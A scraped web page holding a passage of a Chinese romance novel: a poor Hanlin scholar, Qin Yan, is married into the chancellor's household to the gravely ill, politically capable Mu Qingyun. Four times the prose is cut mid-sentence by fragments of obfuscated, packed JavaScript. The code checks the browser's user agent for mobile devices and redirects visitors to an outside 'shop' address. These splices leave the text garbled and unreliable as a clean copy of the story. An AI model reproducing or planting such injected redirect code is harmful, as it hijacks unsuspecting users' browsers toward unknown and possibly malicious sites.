戌时已过，崇安城的集市还是一片灯火辉煌，人声鼎沸。 但在那万千烛火之中，却没有一盏属于秦砚。 往常在潼水城的这个时候，早已经是万籁俱寂，大街小巷连一个人影也无。 醉得东倒西歪的秦砚扶墙走着，又忍不住想起两年前在山庄外遇见的那位姑娘。 脑海昏昏沉沉，连带着回忆里的那道倩影都变得影影绰绰起来。 秦砚停下脚步，后背抵着冰冷的墙壁，喃喃自语：“那位小姐……该不会是天上的仙女吧？” 可转念一想，即便世上真的有神仙，他秦砚又何德何能，让仙子为他驻足垂怜。 他长长呼出一口白气，用力搓了搓脸，定睛一看，前方朱门大院，石狮威立，不是丞相府又是什么？ “怎么走到这里来了……” 秦砚垂下头，拢了拢身上单薄的官袍，正准备转身离去，身后却忽然传来一阵脚步声。 华贵无比的轿辇上，青色纱帘晃动，里面似乎还传来什么人的轻咳声。 秦砚呆滞地抬起头，隔着朦胧的夜色，忽然瞥见了一张眉目如画，气质出尘的脸。 眉如远山含黛，眼似秋水凝星。 她的肤色苍白到近乎透明，但却更衬得那双眸子清冽深邃，宛若月下初绽的白梅。 秦砚长这么大，还从未见过如此惊艳的容颜。 但那张脸只是惊鸿一瞥，轿辇疾步前行，恍惚间与他擦肩而过，很快就又隐入夜色深处。 等到秦砚后知后觉回过神，身后哪儿还有佳人的影子？ “还真是他！” 知微探着身子往窗外张望了一眼，有些兴奋地压低声音道，“就是秦砚那书呆子！” 穆卿云捏着手帕掩唇咳嗽，脸上带着淡淡的倦意，她轻蹙眉头：“大晚上的，他怎么会在这里。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524718|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “瞧他那东倒西歪，眼神发直的样子，像是喝醉了。” 知微撇了撇嘴，取笑道，“这么冷的天，那家伙就穿着一身单薄的官袍，连件披风都没有，怕不是被冻傻了。” 大半夜的跑到相府门口买醉，看来那道赐婚的圣旨，对他的冲击不可谓不大。 穆卿云轻叹口气，吩咐道：“派人暗中护送他回去，夜里风凉，别让他在外面晃悠了。” 轿辇一路进了相府后院，平稳落在月洞门前。 穆卿云被知微扶着，还没落地站稳，就听见一声清脆的呼唤。 “阿姐！” 八岁的穆子钰穿着一身枣红色的锦袄，飞快地朝她跑了过来，却又在几步之外刹住脚步，规规矩矩地乖巧站好。 “阿姐！你终于回来啦！” 穆卿云缓步上前，伸手摸了摸他的脑袋：“这么晚了，怎么还没去歇息？” “爹爹说你快回来了，我就想等阿姐到家，跟你说说话！” 穆卿云牵起他的手，小家伙掌心里热乎乎的，倒是恰好驱散了她指尖的寒凉。 来到书房，穆相正坐在案前批阅文书。 见到姐弟俩牵着手进来，他抬头道：“时雨回来了。今日去京兆尹府上，可查到什么眉目？” 穆卿云带着穆子钰在软榻上坐下，答道：“都查清楚了，此事的主谋是翰林院韩信鸿，他联合麾下几名官员，想要构陷京兆尹邵大人，趁机打压寒门清流。” 穆相眉头一拧，斥道：“这群世家的奸佞蛀虫，还真是一日不让人消停！” 提起此事，穆卿云有些怅然，轻声道：“听说那秦砚就是因为拒绝了韩信鸿的拉拢，所以才会被处处刁难，在翰林院举步维艰。” “这人也是太过耿直鲁莽，做事不懂变通。说话行事，锋芒太露，只会引火烧身。” 想起前两日还被秦砚在门前拦下质问，穆相无奈地摇了摇头，“想在这朝堂上站稳脚跟，他要学的东西还多着呢。” “慢慢来吧，秦砚是个聪明人，想必学起来也快。” 穆卿云说了几句话，喉中痒意又翻涌上来，忍不住偏头咳嗽了两声。 穆相见状，起身道：“时候不早了，你身子弱，不宜劳神，快回院子里歇息罢。” 说罢，他冲儿子招了招手：“子钰，走吧。” 穆子钰却抱紧姐姐的手臂，软糯糯地撒着娇：“可是我还没跟阿姐说上话呢。” 穆卿云轻笑：“父亲先回去歇息吧，我和子钰聊聊天。” 穆相叹了口气，对儿子叮嘱道：“别聊太久，不要耽误你姐姐休息，听见了吗？” 穆子钰连忙用力点头，满口应下。 等到爹爹带着下人们离去，书房只剩下姐弟二人。 穆子钰才撅起嘴巴，委屈巴巴地问：“阿姐，他们说你要成亲了，是真的吗？” 穆卿云失笑：“是谁又在你面前说闲话了？” “阿姐为什么要成亲？” 穆子钰抓住她的手腕晃了晃，乌溜溜的大眼睛里很快涌上泪花。 “阿姐平日里已经够忙的了，若是以后成了亲，那岂不是更没有时间陪子钰了？” 穆卿云捏住帕子给他擦了擦眼泪，安抚道：“怎么会呢？以后府里来了新人，就会多一个人来陪你啊。” “不要！” 穆子钰气鼓鼓地扭过头，“我不要别人陪！我就要阿姐！” 穆卿云轻轻叹了口气，语气落寞：“可是阿姐总有一天会离开，到时候需要有人来陪着子钰，陪着爹爹，一起守着我们的相府。” “为什么阿姐要离开？” 穆子钰仰起小脸，泪珠还挂在脸颊上，懵懂的眼睛里填满疑惑。 穆卿云不知该如何跟他解释，只好搪塞道：“那是以后的事情了，现在阿姐会尽量抽时间好好陪着子钰的，好吗？” “嗯。” 穆子钰重重点头，伸手抱住穆卿云的腰，把小脑袋埋在她的肩头。 “阿姐不要离开，阿姐永远陪着子钰。” 5. 第 5 章 大婚之夜，红烛高燃。 秦砚穿着一身大红喜服，跟着相府管事，独自走完了婚礼的全程。 相府门前张灯结彩，大红灯笼从朱门一直挂到街口。 围观者挤得门口水泄不通，只是不知是真心来道贺的多，还是前来看笑话的多。 “往后您就是我们相府的姑爷了，我家小姐自幼体弱，性子又静，往后您还得多体谅着些。” 府里的嬷嬷在前面引路，絮絮叨叨地跟秦砚说着府里的规矩。 秦砚默默听着，垂头看着自己飞扬的衣摆。 这样好的料子，针脚细密，华贵无比，怕是连翰林院的官袍都比不上分毫。 偌大的相府庭院深深，秦砚跟着嬷嬷走了许久，终于停在一座雅致安静的院落门前。 “这是沁芳院，也是您往后的居所，小姐已经在里面等您了。” 嬷嬷对秦砚恭敬地行了一礼，然后就带着人离开了。 秦砚目送下人们离开，扭头看向紧闭的房门，不禁咽了口口水。 自幼体弱，沉疴难愈，时日无多，极少露面，性情孤僻，不见外客…… 外界对这位相府千金的传闻众说纷纭，但基本都是阴郁与不祥。 秦砚曾照顾久病卧床的母亲多年，所以深知久病之人大多脾气阴郁，形容憔悴，之前再美的容颜也都会变得黯淡无光。 也不知这位时日无多的相府千金，会不会跟母亲当年病重时一样…… 他深吸口气，缓缓推开房门。 想象中的画面没有出现，反而是红烛前端坐着一道纤细清丽的倩影。 她没有和秦砚一样穿大红的喜袍，只是穿了一身素白软缎常服，松松挽着发髻。 听见开门的声音，穆卿云从手里的折子上缓缓抬眸。 看到一身喜服的秦砚目瞪口呆地愣在门口，她忍不住弯了弯唇角。 “进来吧，站在门口做什么？” 秦砚心头一震，猛地回过神，这才踏进门槛，转身轻轻关上门。 虽然房门已关，四下再无其他人，但他却仍是背靠着门板站着，既不敢开口，也不敢挪动半步，满脑子都是方才那一眼的惊艳。 好美的人…… 眉目清冷如画，气质出尘，分明带着几分病弱的清瘦，却又美得惊心动魄，不染半分尘俗。 而且还有一股说不清道不明的熟悉感，仿佛在很久以前，在某个朦胧的梦里，两人便已经遇见过…… 穆卿云打量着许久未见的秦砚，心头暗自感叹：不过短短两年，这人已经褪去了从前的落魄寒酸，变得儒雅矜贵，玉树临风。 今日这身大红绣纹的喜服格外衬他，颇有些少年郎意气风发的味道。 “公子不必紧张，你我只是名义夫妻，我不会为难你的。”穆卿云见他仍是神色局促，主动开口道。 “啊？噢……好的。” 秦砚尴尬地挠了挠后脑勺，脑子还没反应过来她说了什么，嘴上已经忙不迭地应下了。 穆卿云被他的样子逗乐了，起身走到一旁的贵妃榻前，侧身指了指上面的被褥。 “这段日子就委屈公子先在这里将就一下，待到朝堂风波平息，公子自可离去。” “好……” 秦砚盯着她的脸，先是下意识应下，但却又很快回过神来。 “小……姑……” 他想唤“小姐”，又想唤“姑娘”，最后莫名其妙给人家升了辈分。 说出去的话泼出去的水，秦砚整张脸都涨红了，窘得简直想找条地缝钻进去。 穆卿云眉眼弯弯，捏着手帕掩唇轻笑：“叫我卿云就好，公子不必如此客气。” “穆小姐。” 秦砚垂着头，双手交叠，宽袖遮面，还是忍不住问道，“我与小姐素不相识，不知小姐为何要帮我？” “我看过公子所著的文章，”穆卿云脸上的笑意收敛了些，轻声道，“公子有经世之才，字字皆见风骨，我不忍明珠蒙尘。” 秦砚有些惊讶，悄悄抬眼看她。 没想到这位久居闺阁的相府千金，居然会留意他一介寒门书生，而且还懂得文章风骨。 穆卿云偏过头，捏着帕子轻轻咳嗽了几声，又说：“何况，我将不久于人世，死前能做一件善事，也好。” 想起外界的那些传闻，秦砚方才还慌乱失神的心忽然就沉静了下来。 如此绝色惊艳之人，偏偏身染沉疴，这么年轻就要香消玉殒，实在让人忍不住扼腕叹息。 深夜。 内间早已经熄了红烛，白日里的喧闹声也已经销声匿迹，屋里只留下几缕窗棂缝隙里透进来的苍白月光。 外间的贵妃榻对秦砚的个头来说有些窄小，他只得委屈地蜷缩着两条长腿，隔着雕花木的屏风，望着里间那道若隐若现的影子。 “咳咳……咳……” 里间不时传来刻意压低的轻咳声，声音细碎又虚弱，让人忍不住跟着揪心。 秦砚枕着自己的手臂，清亮的双眼里没有丝毫困意。 “穆小姐……”他犹豫半晌还是轻轻开口，“你还好吗？” “咳……” 穆卿云捂着胸口，仰头缓了口气，轻声道，“无事，吵到你了吗？” 秦砚立刻从榻上弹了起来，慌乱道：“不，我不是这个意思……” 穆卿云缓慢地翻了个身，看着屏风外的人影，又问：“睡不着？” 不过想想也是。 寒窗苦读数十年，一朝金榜题名，原本还以为可以大展宏图，没想到京城水深，朝堂波谲云诡，小人物的命运全然由不得自己。 上一刻还在翰林院挥斥方遒，下一刻却被强行送进了相府，沦为权贵博弈的棋子，如此身不由己的处境，任谁也没办法心安理得地安睡吧。 “有点，”秦砚看着地上自己的影子，老实道，“我总觉得，来到了崇安城之后，好像就有一双无形的大手在推着我走，一步错，步步错。原以为每一步都是自己的选择，到头来才发现，竟然全是旁人布好的局。” 穆卿云原本可以长篇大论来安慰他一番，但她此时胸口像是压着一块巨石，强忍着才没咳出声，于是只好轻飘飘转移了话题。 “你……咳……成亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524719|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落定这种大事，不用通知家里吗？” 秦砚摇摇头，苦笑道：“我父亲是村里木匠，早年在帮东家搬运家具途中，被倾倒的柜子砸中，当场人就没了。母亲受了打击，一夜白头，卧床多年，最后在我进京赶考的那年……也去了。” 曾经盼着他光耀门楣的母亲，直到闭眼那一刻，也没能等到儿子衣锦还乡的那一天。 “这样吗……” 穆卿云叹了口气，心里难免对他又多了几分愧疚，“我母亲也去得早，留下我和幼弟，彼此陪伴着在这相府长大。” 自小身体不好，没有娘亲疼爱，还得拉扯幼弟。如今好不容易长大了，又突然被安排跟一个素未谋面的陌生人成亲，想必穆小姐心中也满是无奈吧？ 不知为何，秦砚忽然油然而生一股莫名的责任感。 他挺起胸脯，对着里间那人郑重道：“小姐放心，我秦砚虽出身微寒，人微言轻，但也还有几分骨气和担当，从今往后，定不会让小姐再受委屈的！” “？” 秦砚等了许久也没听见她的答话，以为她是睡下了，于是只好重新在榻上躺下，望着窗外的月光发愣。 第二天一大早。 知微带着一群丫鬟来敲门。 “小姐，姑爷，该起了，还要去给相爷敬茶呢！” 贵妃榻上，刚睡着没一会儿的秦砚被动静惊醒，一个激灵差点从榻上滚了下来。 他慌慌张张地坐起身，理了理身上皱皱巴巴的袍子，一抬头却正对上已经醒来多时的穆卿云。 她穿着一身整洁的月白色里衣，披散着如墨青丝，面色有些苍白，但那双眸子还依然清亮澄澈。 看见秦砚眼下两个硕大的乌青，穆卿云收回视线，体贴道：“我去外面应付她们，你去里间梳洗更衣吧。” 秦砚点点头，连忙抱着被褥，狼狈地溜进了里间。 知微敲开了房间，一进屋就跟搞搜查似的四下打量了一圈。 穆卿云端坐在梳妆台前，偏头看她：“不是要帮我梳妆吗？还愣着做什么？” “哎！来了。” 知微连忙上前，从她手中接过木梳，开始熟练地为她绾发。 穆卿云闭着眼睛，神色淡然，实在让人看不出心思。 知微瞥了一眼里间，终究没按捺住好奇心，小声问道：“小姐，昨夜姑爷歇在里间？” “知微，”穆卿云掀开眼皮，淡淡道，“不该问的不要问，做好你自己的事就好。” “奴婢知错。” 知微连忙低下头，偷偷吐了吐舌，再不敢瞎打探。 等到穆卿云梳妆穿戴完毕，秦砚也换了一身暗青色的常服，有些局促地从里间走了出来。 知微站在穆卿云身侧，眼睛滴溜溜地转，偷偷在秦砚和小姐之间来回打量，努力想要从他脸上看出点昨夜的端倪。 穆卿云转头看了他一眼，眼底浮起淡淡的笑意。 她缓步上前，抬手帮秦砚把折进去的衣领给整理好，“走吧，该去跟父亲敬茶了。” 秦砚不敢低头看她，莫名有些脸热，轻咳一声道：“好。” 6. 第 6 章 不过一夜，相府的红绸灯笼就全都撤得干干净净了，仿佛昨日的喧嚣喜庆都未曾发生过一样。 秦砚心头有些怪异，但却没有多问，只是默默跟在穆卿云身后。 “阿姐！” 几人刚走出院子，不远处的回廊下就传来一道脆生生的呼唤。 穆卿云转过头，看着朝她疾跑过来的小家伙，笑道：“子钰，一大早的，你怎么在这儿？” “我等阿姐一起去书房见父亲。” 穆子钰牵住姐姐的手，怯生生地躲在她身后，只露出一双乌溜溜的眼睛，好奇地盯着一旁的秦砚。 这孩子看着也就七八岁的样子，想必就是相府的小少爷了。 秦砚尽量扯出一抹柔和的笑，对着穆子钰拱手道：“在下秦砚，见过小少爷。” 没想到穆子钰却高高撅起嘴巴，对他翻了个大大的白眼，一脸不屑的样子。 “子钰，不可无礼。” 穆卿云轻轻拍了拍弟弟的脑袋，“这位是翰林院的秦大人，往后你便要唤他姐夫了。” “哼！”穆子钰仍是不服，小声嘟囔，“他是从哪里冒出来的穷酸书生，我才不认呢！” 穆卿云无奈地叹了口气，对秦砚解释道：“子钰年纪尚小，可能是被我惯坏了，说话口无遮拦，还望公子多多包涵。” “无妨，小孩子心性，舍不得姐姐，可以理解……” 秦砚摆了摆手，努力让自己笑得自然一些。 一行人朝前走着，穆子钰挡在姐姐和这个男人之前，毫不掩饰地释放着满身敌意。 秦砚为了避免惹人嫌弃，只好默默拉开距离，不远不近地跟在他们身后。 来到书房，穆相端坐于紫檀木书桌后，见几人进来，温声道：“时雨来了。” 时雨？ 秦砚下意识看了穆卿云一眼，意识到这可能是穆小姐的表字，心中暗自记下。 “父亲。” 穆卿云和穆子钰上前恭敬行礼，秦砚也跟着躬身行礼。 “晚辈秦砚，见过穆相。” 穆相淡淡看了他一眼，似在审视，但却并未多问，只是直接跟穆卿云说起了正事。 “昨日幽州送来的折子都看了吗？” 穆卿云在一旁的梨花木椅上坐下，条理清晰道：“女儿已仔细看过折子。幽州连年干旱，去年秋收本就微薄，今春又逢蝗灾，粮库空虚，流民流离失所，若处置不当，恐生民变。” 穆子钰乖乖地在姐姐身边坐下，仰着小脸，听得一脸认真。 穆相微微颔首，指尖轻叩桌面，追问：“既知症结，时雨可有对策？” 穆卿云微微蹙眉，缓声道：“当务之急是要先从邻近各州粮库调运粮食，先行运往幽州，开设粥棚，安抚流民。其次是要恳请皇上下旨，令幽州地方官吏牵头，兴修水利，再减免幽州三年赋税，鼓励百姓开垦荒地，恢复生产。” 穆相叹了口气，脸上的忧虑更重，“说起来容易，可幽州上下都是太傅的亲信，早就被太傅一手提拔的世家牢牢掌控，我们即便想要插手，也处处受限，难有作为。” 穆卿云掩唇闷咳了两声，继续道：“此事不可操之过急，更不可与太傅正面抗衡。应该从底层官吏下手，分化瓦解，待其内部分崩，再图进取。” 两人随口谈论着朝堂机密，没有刻意避讳秦砚在场，却也没有特意询问他的意见。 秦砚垂手肃立，心中震撼于二人谈论的政事之深，也不知自己该不该继续留在这里。 穆卿云余光看见他局促不安的样子，体贴道：“秦公子，我与父亲还有要事相商，你且先去前厅喝茶等候吧。” 秦砚如蒙大赦，连忙躬身行礼，然后转身退出了书房。 看着房门缓缓合上，穆相语气微沉，有些不解地问女儿：“时雨，你真觉得此人能担得起你寄予的期望？” 穆卿云端起桌上的清茶，浅啜一口，轻笑道：“秦公子初入朝堂，尚未开窍，再给他一些时间吧。” “可是……” 你的时间不多了。 穆相胡须颤抖，终究还是不忍心把这残忍的事实说出口。 他看着女儿清瘦苍白的脸庞，满心都是无力。他虽然身为当朝宰相，能掌控朝堂风云，却偏偏留不住女儿的性命。 “女儿明白，但欲速则不达，还需循序渐进。” 穆卿云放下茶盏，目光沉静，“父亲放心，在他能真正撑起相府之前，女儿不会倒下的。” 秦砚背对着书房的大门，站在几步开外的廊柱下。 今天是正式进入相府的第一天，他不知道穆相留他旁听，是在试探他的深浅，还是在考验他的立场。 平心而论，穆相在万千寒门学子心中，乃是清流砥柱般的存在。 而这位不显山不露水的穆小姐，明显也远非寻常闺阁女子可比。 更何况，相府对他有收留庇护之恩，于情于理，他都无法拒绝他们提出的要求。 只要不让他违背良心，做些伤天害理之事，那他便是赴汤蹈火，也在所不辞。 秦砚在廊下兀自做着激烈的思想斗争，不知道过了多久，身后的书房门忽然打开，穆卿云从里面缓步走了出来。 她走得极慢，一手轻扶着门框，面色比进书房时又苍白了不少，只是嘴角还带着浅浅的笑意。 “不是让你去前厅坐着喝茶，怎么还站在这儿傻等？” “我……” 秦砚局促地低着头，“我怕小姐叫我，所以想着，还是就在外候着比较好。” 穆卿云对他笑了笑，微微抬起手，一旁的知微立刻上前，扶住她的手臂。 “走吧，去我的书房。” 秦砚应了一声，亦步亦趋地跟上。 穆卿云走得端庄，脚步很慢，看得出一上午的议事，对她而言消耗不小。 看来这位穆小姐，身体是真的很差啊…… 秦砚望着她纤细的背影，在心里默默琢磨着。 来到沁芳院的书房，这里的布置素雅简洁，显然是专为穆卿云平日读书理事所设。 穆卿云在书桌前坐定，知微带上门退了下去，留下秦砚站在书房中央，对着满墙的典籍卷轴发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524720|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣。 穆卿云端起桌上的热茶抿了一口，恢复了些体力，才开口道：“秦公子，我见你先前文章里面写到''为官者当直言进谏，不避权贵''，如今你身陷囹圄，处处受制，可知自己错在了什么地方？” 秦砚心头一凛，思索片刻，回答道：“因为我言辞太过刚直，不懂藏拙，所以得罪了太傅大人？” “皇城下掩埋着的枯骨太多了，空有一腔孤勇是没用的。立身朝堂靠的是权衡利弊，审时度势。你身为寒门学子，需要对抗的是整个世家，乃至盘根错节的朝堂旧势，所以不要孤身犯险，以卵击石，凡事三思而后行。” 穆卿云神色疲惫，按了按眉心，继续轻声道。 “世家有朋党，寒门亦需同盟。你毫无背景根基，在这步步为营的崇安城根本走不远。而我相府，就是你在这京城里，最稳妥，最可靠，也是最能护你周全的同盟。” 秦砚听得很认真，从前他只懂得埋头苦读，一心只想着金榜题名，把一切都想得太过简单。 这还是头一回，有人跟他讲起这些为官处世之道。 他对着穆卿云深深弯腰，郑重道：“小姐教诲，秦砚铭记于心。” 穆卿云见他态度诚恳，语气也放柔和了些。 “你有才华，这是好事，但若是不懂得如何藏锋守拙，也只会招来杀身之祸罢了。官场如棋局，落子无悔。要做就做那纵览全局的执子之人，而非任人摆布的棋子。” “咳……”穆卿云喉咙有些发痒，又端起茶盏抿了一口。 “我这书房里什么书都有，你可以尽管取阅，若是遇到什么不懂的，想不通的，随时可以来问我。” 秦砚扭头看向整面墙的书柜，在心里暗自咋舌。 放眼望去，多少失传已久的孤本，名家手稿，都是他曾经只在同僚口中听闻过的存在。 现如今却可以在这里供他随意翻阅，这可是他从前想都不敢想的事情。 “多谢小姐！” 穆卿云看出他满眼的求知若渴，于是撑着桌案起身，绕过屏风，去到书房的另一边。 这里放置着一张软榻，上面铺好了干净厚实的软垫。 从前她处理公务，看书累了，偶尔也会直接在书房歇下。 昨夜几乎一夜未眠，今日又跟父亲议事了许久，穆卿云有些体力不支，但又不放心把秦砚一个人丢在这里，于是决定在这里小憩片刻，权当陪着他看书。 秦砚一开始还有些拘谨，但沉浸在书卷中后，也慢慢放开了胆子，抽出一本又一本仔细翻阅。 他知道穆卿云就在屏风后休息，于是翻书，走动都尽量放轻了动作，生怕惊扰了里面的人。 不多时，知微端着一碗黑漆漆的汤药走了进来。 秦砚连忙放下书卷，对她微微颔首，当做打招呼。 知微抿着唇角，一脸揶揄地笑着瞥了他一眼，转身就往屏风后去了。 草药的苦涩在书房里弥漫开来，让秦砚都忍不住皱眉。 但屏风后的人影却始终安安静静的，直到知微端着空碗离开，也没有发出半点声响。 7. 第 7 章 今日是初一的大朝会。 秦砚早早就起了床，把贵妃榻上的被褥都规规矩矩地叠好收了起来。 里间安安静静，连呼吸声都轻得几乎听不见。 昨夜的咳嗽声直到后半夜才停，穆卿云定是累极了，此刻应该刚刚睡熟。 于是秦砚也没有出声打扰，只是轻手轻脚地穿好官服，悄悄推门出去了。 外头天还未亮，秦砚搓了搓冻僵的脸颊，呼出一团白气，随着入宫的人流前往宣政殿上朝。 新科状元郎昨日入赘相府的消息早已经传遍了大街小巷，一路上总有人投来或好奇或嘲弄的目光。 秦砚心中难免几分忐忑，一路低头慢行，尽量不引人注目。 可刚踏入殿外的白玉广场，便有几位素来眼高于顶的官员主动迎了上来。 “哟，这不是秦大人嘛！如今都是相府姑爷了，怎么还自己走路来上朝？” 秦砚脚步一顿，垂首拱手道：“下官品阶低微，不敢逾矩擅用车马。” 又一个满脸戏谑的人上前勾住他的肩膀，强行把他压低了些，凑到耳边问：“听说昨夜秦大人留宿在沁芳院？看来那位穆小姐对你很是满意啊？哈哈哈……” “那相府小姐是个病秧子，身子娇弱得很，秦大人可得悠着点，当心刚入赘没两天就守了寡哈哈哈……” 刺耳的笑声让秦砚后背发凉，攥紧了袖中的拳头。 没想到在相府的深宅大院里，竟然还有这么多双眼睛时刻盯着，就连他昨夜歇在何处都一清二楚。 “大人们说笑了，朝会时辰快到了，还是快入殿候驾吧。” 秦砚往旁边撤了半步，快步绕开这群不怀好意的官员，把轻佻的讥笑声都远远抛在了身后。 每月两次的大朝会，丞相和太傅两派依然是吵得不可开交。 不过秦砚先前一直都是置身事外，可如今他身份陡然转变，成了相府的人，那些曾经与他无关的党争机锋此刻再听起来，就变得别有深意起来。 兴许是碍于相府的面子，今日太傅没有再提起先前被秦砚顶撞的事情，甚至没往他这边多看一眼。 秦砚提心吊胆地熬完整个朝会，只觉得如释重负。 退朝之后，众官员都三五成群地往宫门外走去。 秦砚站在宫门口等了一会儿，被温太傅气得面红耳赤的穆相径直上了备好的马车，一点要跟他搭话的意思都没有。 他只好默默收回目光，独自一人往相府走去。 回到相府，已经是午时三刻。 虽然还是寒冬腊月，但秦砚却走了一身的汗，于是打算先回房换身衣裳。 他小心翼翼敲开房门，却发现里面空无一人。 刚刚路过书房的时候还特意看了一眼，穆小姐也不在里面。 那她去哪儿了？ 秦砚带着满肚子疑惑，迅速换好衣服出来，正准备再去穆相的书房看看。 刚走出沁芳院，远远看见端着托盘走过的知微。 秦砚大步追了上去，客气问道：“知微姑娘，敢问穆小姐此刻在何处？” 知微斜着眼睛瞥了他一眼，“我家小姐在军机阁处理政务呢，公子还是不要贸然去打扰的好，回书房看你的书去吧。” 知微是伺候小姐多年的贴身大丫鬟，也是府上地位最高的下人，即便是面对这位新来的姑爷，说话也半分不客气。 秦砚没有在意她的语气和态度，只是在心里暗自惊讶，穆小姐身为闺阁女子，居然可以坐镇军机阁，主理相府事务，当真是深藏不露。 见他问完话也没了下文，知微撇了撇嘴，直接扭头离开了。 府兵把守的军机阁里。 “咳咳……” 穆卿云闷咳几声，放下手中的朱笔，刚想从怀里掏出帕子，身形却忽然一晃。 “小姐当心！” 一旁的邵同光立刻上前，刚想伸手去扶，却被眼疾手快的知微挡住了动作。 知微背过身挡住穆卿云，一边掏出帕子帮她捂住唇角，一边轻拍她的后背帮她顺气。 穆卿云倚在知微身上，待到缓过这阵晕眩，这才抬手示意知微让开，若无其事地对邵同光说：“邵大人不必惊慌，都是老毛病了，不打紧的。” 邵同光知道她不喜欢被旁人近身触碰，于是自觉地后退了一大步。 “小姐今日似乎格外虚弱，是不是前日大婚以来……连日操劳耗费心力？” 穆卿云垂下眼帘，似笑非笑道：“邵大人似乎对秦大人颇有微词，先前对他的文章也是诸多挑剔。” 邵同光轻哼了一声，偏过头道：“一个迂腐书生而已，满纸天真荒唐言，难堪大用！” “可若不是他坚守本心，拒绝在弹劾你的联名信上署名，邵大人今日还能安稳站在这里与我顶嘴吗？” “我……” 邵同光惊愕抬头，看见穆卿云沉静的脸色，连忙抱拳躬身，恭敬道，“是属下失言，求小姐恕罪。” 穆卿云低头翻阅着面前的折子，没有开口，但沉默的压迫感却让邵同光根本不敢抬头。 屋内一时静得落针可闻，直到邵同光的手臂都开始细微地颤抖，穆卿云才终于淡淡开口。 “我说这话，不是为了替他邀功，只是想告诉大人，如今秦砚是我们相府的一员，往后也会是对抗温太傅的一大助力。还望邵大人能放下成见，公允地看待他，莫要因私废公才好。” “属下谨记！” 邵同光连忙应下，站起身时，额上已是满头大汗。 在军机阁议完事，知微扶着穆卿云回房。 穆卿云斜倚在榻上，额头抵在掌心里，幽幽叹道：“相府还是太大了，军机阁到沁芳院的这段路竟然这么长。” 知微明白她累了，于是默默帮她脱下外衣，轻声道：“奴婢去煎药，小姐喝了药，早些歇息吧。” 就在知微准备转身出去的时候，穆卿云忽然又开口问道：“秦大人……下朝应该回来了吧？” “午时没过就回来了，这会儿还在书房看书呢。”知微答道。 “咳咳……他倒是好学。” 穆卿云闷咳两声，吩咐道，“你去跟他传话，让他今日就在书房歇下，不必回来了。” 这是身子已经疲惫到了极限，连在人前维持体面的力气都没有了。 知微在心里暗暗叹息，应了一声，带上门出去了。 秦砚今日有些心神不宁，眼睛盯着书卷上密密麻麻的字，脑子里却来来回回浮现穆小姐的脸。 她的一颦一笑，一言一行，都好像绵绵春雨落进泥土，在他心里生了根，发了芽，悄无声息地疯长，一发不可收拾。 “……姑爷？” 知微站在门口，又重重敲了敲房门，这才将他从恍惚中惊醒。 “您傻笑什么呢？叫了几声都听不见。” 秦砚猛然回神，立刻从椅子上弹起，手忙脚乱地翻找着面前的书桌。 “是穆小姐回来了吗？我这就收拾东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524721|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西……” “不必了。” 知微打断道，“我们小姐身体不适，让姑爷今夜就歇在书房，不必回去了。” “啊？” 这才大婚第三日，这么快就被厌弃了吗…… 秦砚整个人呆住，怔了半晌，才磕磕巴巴道，“呃……穆小姐情况怎么样，身子还好吗？” “府里大夫们都候着呢，姑爷不必挂心。” 知微交代完，干脆利落地转身离开了。 书房的床榻比那窄小的贵妃榻要宽敞不少，被褥也更厚实，但秦砚却还是翻来覆去地睡不着。 早知道昨日就多跟穆小姐说几句话了。 不过她身子不好，事务繁忙，总是很疲惫的样子，他也不忍心多打扰。 “哎……也不知道她好些了没有。” 秦砚长叹口气，抱着被子又翻了个身。 怀里的被褥又轻又软，似乎还残留着一股淡淡药香混合着清冷的馨香。 秦砚低头凑近，深深嗅了一口，脑子里忽然想起昨日穆小姐在这张床上小憩时的样子。 如瀑的青丝散落枕畔，精致的眉眼恬静安然……他想着想着，思绪忽然就不受控制地滑向了不可描述之地。 “……荒唐！” 秦砚使劲捶了捶脑袋，暗自懊恼，“秦砚！你想什么呢！非礼勿视，非礼勿思！” 心慌意乱之下，他只好用被子蒙住脑袋，强迫自己背起了拗口的圣贤书。 